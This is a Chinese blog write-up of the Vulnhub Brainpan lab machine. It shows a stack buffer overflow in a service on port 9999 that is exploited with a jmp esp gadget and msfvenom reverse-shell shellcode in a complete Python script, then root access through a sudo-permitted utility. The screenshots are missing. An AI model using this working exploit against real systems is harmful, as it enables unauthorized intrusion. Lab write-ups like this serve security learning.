Vulnhub - Brainpan の Write-Up

Description

Vulnhub靶机Brainpan系列的第一台。整体难度中等。

Step 1

首先找靶机IP:

扫描靶机开放端口:

Step 2

9999端口:

看起来需要一个密码,只能先跳过。

10000端口是http的服务,浏览器看上去只是一张图片的静态页面:

目录扫描发现有个bin目录:

访问bin目录,有个exe文件:

Step 3

通过IDA逆向之后发现这是9999端口运行的程序:

在程序中发现一个get_reply函数:

在函数中可以看到调用strcpy,而在主函数中&Dest长度可以到1000字节,get_reply函数中Source只有0x208字节即520字节。所以这里存在栈溢出漏洞,当填充了520(Source_data)+4(EBP)总共524字节的数据之后就可以控制函数的返回地址。

由于程序中没有可以直接getshell的函数,所以需要我们将shellcode写入的buf中,通过jmp esp命令控制程序跳转到buf执行命令。

在程序中找到311712F3的地址有jmp esp指令,再通过msfvenom生成payload:

最终的利用脚本为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import socket

target_ip = '172.16.83.3'
target_port = 9999

# padding with 'a'
padding = '\x61' * 524

# address of 'jmp esp' command - 0x311712F3
jmp_esp = '\xF3\x12\x17\x31'

# shellcode
buf = b""
buf += "\x90" * 30
buf += b"\xbf\x23\x22\x77\xf6\xd9\xe1\xd9\x74\x24\xf4\x5a\x33"
buf += b"\xc9\xb1\x12\x31\x7a\x12\x03\x7a\x12\x83\xc9\xde\x95"
buf += b"\x03\x3c\xc4\xad\x0f\x6d\xb9\x02\xba\x93\xb4\x44\x8a"
buf += b"\xf5\x0b\x06\x78\xa0\x23\x38\xb2\xd2\x0d\x3e\xb5\xba"
buf += b"\x21\xd0\x16\x38\x52\xd3\x98\x2d\xfe\x5a\x79\xfd\x98"
buf += b"\x0c\x2b\xae\xd7\xae\x42\xb1\xd5\x31\x06\x59\x88\x1e"
buf += b"\xd4\xf1\x3c\x4e\x35\x63\xd4\x19\xaa\x31\x75\x93\xcc"
buf += b"\x05\x72\x6e\x8e"

payload = padding + jmp_esp + buf

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((target_ip, target_port))

s.recv(1024)
s.send(payload)

运行脚本之后就可以获取反弹shell:

Step 4

根据之前靶机题权最简单的方式,直接查看sudo权限,提示我们可以以root权限运行/home/anansi/bin/anansi_util

sudo执行之后根据命令提示可以直接接命令,所以当接上/bin/bash命令之后就可以获得root权限的shell。

文章作者: ColdSnap
文章链接: https://coldwave96.github.io/2020/11/20/Brainpan/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ColdSnap の Blog